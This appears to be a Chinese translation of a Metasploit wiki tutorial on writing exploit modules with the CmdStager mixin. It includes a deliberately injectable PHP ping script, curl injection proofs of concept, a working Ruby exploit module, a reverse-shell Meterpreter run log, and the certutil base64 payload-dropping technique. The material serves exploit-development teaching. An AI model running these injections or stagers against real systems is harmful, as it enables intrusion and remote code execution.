命令階段提供了一種簡單的方法來編寫針對典型漏洞 例如[命令執行](https://www.owasp.org/index.php/Command_Injection) 或者 [代碼注入](https://www.owasp.org/index.php/Code_Injection).目前有八種不同的命令階段,每種都使用系統命令來保存你的payload,有時會解碼并執行.
# 漏洞測試用例
解釋如何使用命令stager的最好方法可能是通過演示.在這里我們有一個PHP的命令注入漏洞,在企業級軟件中實際上可能會看到一些愚蠢的東西。這個漏洞使得你可以在系統調用ping中注入額外的系統命令:
```php
<?php
if ( isset($_GET["ip"]) ) {
$output = system("ping -c 1 " . $_GET["ip"]);
die($output);
}
?>
<html>
<body>
<form action = "ping.php" method = "GET">
IP to ping: <input type = "text" name = "ip" /> <input type = "submit" />
</form>
</body>
</html>
```
將上面的php腳本(ping.php)放在[Ubuntu + Apache + PHP](https://www.digitalocean.com/community/tutorials/how-to-install-linux-apache-mysql-php-lamp-stack-on-ubuntu-14-04) 系統
在正常的使用情況下,這是腳本的行為 它只是ping你指定的主機,并顯示你的輸出
你的輸出
```
$ curl "http://192.168.1.203/ping.php?ip=127.0.0.1"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.017 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms
rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms
```
好的,接下來我們能濫用這一點來執行另一個系統命令(id)
```
$ curl "http://192.168.1.203/ping.php?ip=127.0.0.1+%26%26+id"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.020 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.020/0.020/0.020/0.000 ms
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
看到 這個 www-data?它是上面我們要求腳本執行的第二個命令的輸出.通過這樣做,我們也可以做更令人討厭的事情 比如將一個Meterpreter負載寫入目標系統,然后執行它
# The Msf::Exploit::CmdStager Mixin
讓我們來討論如何在上面的腳本通過命令階段來利用它.有幾個步驟你需要做
**1.引入 Msf::Exploit::CmdStager Mixin**
盡管有八種mixin/stagers,但在編寫Metasploit漏洞時只需要引入[Msf::Exploit::CmdStager](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/cmdstager.rb) 這個mixin基本上是所有八個命令階段的一個接口:
```ruby
include Msf::Exploit::CmdStager
```
**2.聲明你想要的類別**
告訴Msf::Exploit::CmdStager 你想要的類型.你能在模塊元數據添加這個```CmdStagerFlavor```信息.無論是從普通級別還是目標級別。允許多種
對一個特定目標設置類別的一個例子
```ruby
'Targets' =>
[
[ 'Windows',
{
'Arch' => [ ARCH_X86_64, ARCH_X86 ],
'Platform' => 'win',
'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
}
]
]
```
或者,您可以將此信息傳遞給execute_cmdstager方法(請從參閱調用#execute_cmdstager開始)
```ruby
execute_cmdstager(flavor: :vbs)
```
**3.創造一個 execute_command 方法**
你必須在你的模塊創造一個```def execute_command(cmd, opts = {})```方法.這就是CmdStager mixin在啟動時所調用的方法.你在這個方法中的目標是把cmd變量中的所有東西都注入到漏洞代碼中。
**4.開始調用#execute_cmdstager**
最后,在你的利用方法中,調用```execute_cmdstager```開始命令階段
多年來,我們還了解到,在調用execute_cmdstager時,這些選項非常方便
* **flavor** - 您可以從這里指定要使用的命令stager(flavor) 選項有: ```:bourne```, ```:debug_asm```, ```:debug_write```, ```:echo```, ```:printf```, ```:vbs```, ```:certutil```, ```:tftp```.
* **delay** - 每個命令執行之間要延遲多少時間 0.25是默認值。
* **linemax** -每個命令的最大字符數。2047是默認的。
**Msf::Exploit::CmdStager 模塊**
至少,這是你使用CmdStager mixin時你應該如何開始
```ruby
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "Command Injection Using CmdStager",
'Description' => %q{
This exploits a command injection using the command stager.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' => [ [ 'URL', 'http://metasploit.com' ] ],
'Platform' => 'linux',
'Targets' => [ [ 'Linux', {} ] ],
'Payload' => { 'BadChars' => "\x00" },
'CmdStagerFlavor' => [ 'printf' ],
'Privileged' => false,
'DisclosureDate' => "Jun 10 2016",
'DefaultTarget' => 0))
end
def execute_command(cmd, opts = {})
# calls some method to inject cmd to the vulnerable code.
end
def exploit
print_status("Exploiting...")
execute_cmdstager
end
end
```
正如你所看到的,我們選擇了“printf”的類型作為我們的命令stager。稍后我們會對此進行更多解釋,但基本上它是將我們的有效載荷寫入/tmp并執行它。
現在我們來修改execute_command方法,并根據測試用例獲得代碼執行。基于PoC,我們知道我們的注入字符串應該是這樣的:
```
127.0.0.1+%26%26+[Malicious commands]
```
我們使用[HttpClient](https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient)在execute_command中執行操作.注意實際上有一些壞字符過濾使得exploit正確工作.這是預期的
```ruby
def filter_bad_chars(cmd)
cmd.gsub!(/chmod \+x/, 'chmod 777')
cmd.gsub!(/;/, ' %26%26 ')
cmd.gsub!(/ /, '+')
end
def execute_command(cmd, opts = {})
send_request_cgi({
'method' => 'GET',
'uri' => '/ping.php',
'encode_params' => false,
'vars_get' => {
'ip' => "127.0.0.1+%26%26+#{filter_bad_chars(cmd)}"
}
})
end
def exploit
print_status("Exploiting...")
execute_cmdstager
end
```
讓我們運行一下 我們應該得到一個shell
```
msf exploit(cmdstager_demo) > run
[*] Started reverse TCP handler on 10.6.0.92:4444
[*] Exploiting...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 10.6.0.92
[*] Meterpreter session 1 opened (10.6.0.92:4444 -> 10.6.0.92:51522) at 2016-06-10 11:51:03 -0500
```
# 類別
我們已經知道如何使用Msf::Exploit::CmdStager mixin,讓我們來看看我們能使用的命令階段
## VBS Command Stager - Windows Only
這個 [VBS command stager](https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/exploitation/cmdstager/vbs.rb) 是在window.他會base64編碼我們的payload,保存在我們的目標機器.還使用echo寫入[vbs腳本](https://github.com/rapid7/metasploit-framework/blob/master/data/exploits/cmdstager/vbs_b64) ,然后vbs腳本對Base64有效載荷進行解碼并執行它。
如果您正在利用支持Powershell的Windows,那么您可能會考慮使用[它](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Powershell-in-an-exploit) 來代替 VBS stager,因為Powershell往往更隱蔽。
要使用VBS stager,可以在元數據中指定CmdStagerFlavor:
```ruby
'CmdStagerFlavor' => [ 'vbs' ]
```
或者在execute_cmdstager設置:vbs
```ruby
execute_cmdstager(flavor: :vbs)
```
你還需要你的模塊支持平臺包括windows(也在元數據),例子
```ruby
'Platform' => 'win'
```
## Certutil Command Stager - Windows Only
[Certutil](https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) 是一個Windows命令,可用于轉儲和顯示證書頒發機構,配置信息,配置證書服務,備份和還原CA組件等.它只支持從window2018,2012開始的windows系統
在certutil也可以為我們做的是從證書解碼Base64字符串,并將解碼的內容保存到一個文件。以下說明:
```bash
echo -----BEGIN CERTIFICATE----- > encoded.txt
echo Just Base64 encode your binary data
echo TVoAAA== >> encoded.txt
echo -----END CERTIFICATE----- >> encoded.txt
certutil -decode encoded.txt decoded.bin
```
為了利用這個優勢,Certutil命令stager會將有效載荷保存在Base64字符串中作為假證書,請求certutil對其進行解碼,最后執行它。
要使用VCertutil stager,可以在元數據中指定CmdStagerFlavor:
```ruby
'CmdStagerFlavor' => [ 'certutil' ]
```
或者在execute_cmdstager設置:certutil
```ruby
execute_cmdstager(flavor: :certutil)
```
你還需要你的模塊支持平臺包括windows(也在元數據),例子
```ruby
'Platform' => 'win'
```
- Home
- 開始使用
- 安裝metasploit開發環境
- 使用metasploit
- 使用git
- 報告一個bug
- 貢獻代碼
- 貢獻給metasploit
- 創建一個loginscans Metasploit模塊
- 接受模塊和增強功能的指導
- 常見的Metasploit模塊代碼錯誤
- 樣式提示
- metasploit提交者
- metasploit開發
- 為什么是ruby
- 樣式提示
- 如何開始寫一個exploit
- 如何開始寫一個輔助模塊
- 如何開始寫一個post模塊
- 如何開始寫一個Meterpreter腳本
- 載入外部模塊
- exploit rank
- Metasploit模塊引用標識符
- 怎么在你的exploit中確認window補丁程序級別
- 如何使用filedropper清理文件
- 如何棄用metasploit模塊
- 如何在模塊開發中報告或儲存數據
- 在metasploit如何使用日志
- 如何在metasploit對JavaScript進行混淆
- 如何解析一個http響應
- 如何使用HTTPClient發送HTTP請求
- 如何使用命令階段
- 如何使用數據儲存選項
- 如何在window后期開發中使用railgun
- 如何在exploit中使用powershell
- 如何使用PhpEXE來利用任意文件上傳漏洞
- 如何使用FILEFORMAT mixin創建一個文件格式exploit
- 如何使用BrowserExploitServer編寫一個瀏覽器exploit
- 如何使用HttpServer編寫瀏覽器exploit
- 如何編寫一個check()方法
- 如何使用Seh mixin來利用異常處理程序
- 如何在Windows上使用WbemExec進行寫入權限攻擊
- 如何使用httpserver和httpclient編寫一個模塊
- payloads如何工作
- 如何免殺
- 如何正確使用metasploit模塊